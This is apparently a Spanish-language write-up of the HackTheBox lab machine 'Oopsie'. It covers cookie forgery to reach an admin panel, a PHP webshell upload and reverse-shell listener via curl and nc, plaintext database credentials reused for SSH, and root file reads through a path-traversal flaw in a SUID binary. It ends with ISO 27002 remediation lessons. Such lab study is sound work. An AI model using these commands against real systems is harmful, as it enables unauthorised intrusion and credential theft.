Oopsie — Repair Management System → cookie tampering → SUID LFI

Técnica clave: crackeo de cookie de sesión para pasar de guest a admin, subida de webshell, credenciales en config y escalada via SUID con LFI interno. ⚠️ Flags y credenciales de la box redactadas en la versión pública.

1. Reconocimiento

sudo nmap -sC -sV -p- --open --min-rate 5000 -n -Pn <IP> -oN escaneo.txt
Puerto Servicio Observación
22 ssh Ubuntu
80 http Apache/2.4.29 (Ubuntu) — "Repair Management System"

La web es un sistema de gestión de un taller: "Repair Management System" de MegaCorp Automotive, con panel /cdn-cgi/login/admin.php.

2. Enumeración

La aplicación guarda la sesión en cookies del navegador (user y role). Con las DevTools se inspecciona Application → Storage → Cookies:

user  36575
role  admin

Forjar la cookie role=admin (directo por cabecera):

curl "http://<IP>/cdn-cgi/login/admin.php?content=uploads" -H "Cookie: user=36575; role=admin"

Por qué funcionó: el backend decide privilegios según la cookie enviada por el cliente, sin sesión verificada en servidor. Con role=admin la pestaña Uploads permite subir archivos.

4. RCE — webshell

# Subir la webshell por el panel
curl -X POST -F "file=@shell.php" "http://<IP>/cdn-cgi/login/admin.php?content=uploads" -H "Cookie: user=36575; role=admin"
# -> "The file shell.php has been uploaded."

# Escuchar y gatillar
sudo nc -lvnp 4444
curl "http://<IP>/uploads/shell.php"

Reverse shell recibida as www-data (10.129.80.239). Se estabiliza el TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'

5. Credenciales → usuario robert

Enumeración del webroot. La configuración de la base de datos vive en el código de login:

cat /var/www/html/cdn-cgi/Login/db.php

$conn = mysqli_connect('localhost', 'robert', '<redactada>', 'garage');

Esa credencial se reutiliza para acceder por los servicios locales; robert inicia sesión por SSH y entrega user.txt:

ssh robert@<IP>
cat ~/user.txt

6. Escalada — SUID bugtracker + LFI a /root/reports

find / -group bugtracker -perm -4000 2>/dev/null
# /usr/bin/bugtracker   (rwsr-xr-x  root:bugtracker)

/usr/bin/bugtracker pide un "Bug ID" y concatena la respuesta a una ruta:

Provide Bug ID: <entrada>
cat: /root/reports/<entrada>: No such file or directory

El SUID concatena la entrada sin sanitizar a /root/reports/ y lee el archivo como root → LFI local privilegiado. Basta caminar hacia arriba:

Provide Bug ID: ../root.txt

Flag de root leída directamente, sin binarios extra ni kernel exploit.

Por qué funcionó: un binario SUID del grupo bugtracker hace cat de una ruta construida con entrada del usuario sin validar ... El grupo bugtracker (no root) limita el SUID, pero la concatenación con ../ escapa del directorio permitido.

7. Lecciones para el mundo real

Controles faltantes en la víctima: 1. Autorización client-side: rol en cookie editable → escalada a admin sin credenciales. 2. Upload con ejecución: las webshells se suben sin validar extensión/contenido y /uploads/ es ejecutable. 3. Credenciales en config en claro y reutilizadas entre DB/SSH. 4. SUID sin sanitizar entrada: cat "/root/reports/$input" es LFI local → /etc/shadow, flags, configs.

Mapeo a ISO 27002:2022:

Control candidate Acción concreta
8.2 Privilegios: sesión server-side, nunca rol en cookie del cliente
8.5 Autenticación fuerte en paneles de gestión
8.28 Codificación segura: validar subida (allowlist) que no caiga en directorio ejecutable
8.24 No guardar credenciales en claro; gestión de secretos (vault/env)
8.27 / 8.6 Mínimos privilegios: no compilar SUID que ejecute cat con input de usuario; revisar ACL de grupo

8. La cadena en una línea

cookie(user+role) → panel admin → upload webshell → RCE www-data → credenciales en db.php → SSH robert → SUID bugtracker(−4000) → LFI ../root.txt → root

Nota de trazabilidad: reconstruido desde capturas de sesión (10-21 jun 2026); la misma box apareció con distintas IP según la sesión HTB (10.129.13.7, 10.129.95.191, 10.129.80.239). El frontend "MegaCorp Automotive / Repair Management System" es esta máquina (Linux), no una box separada.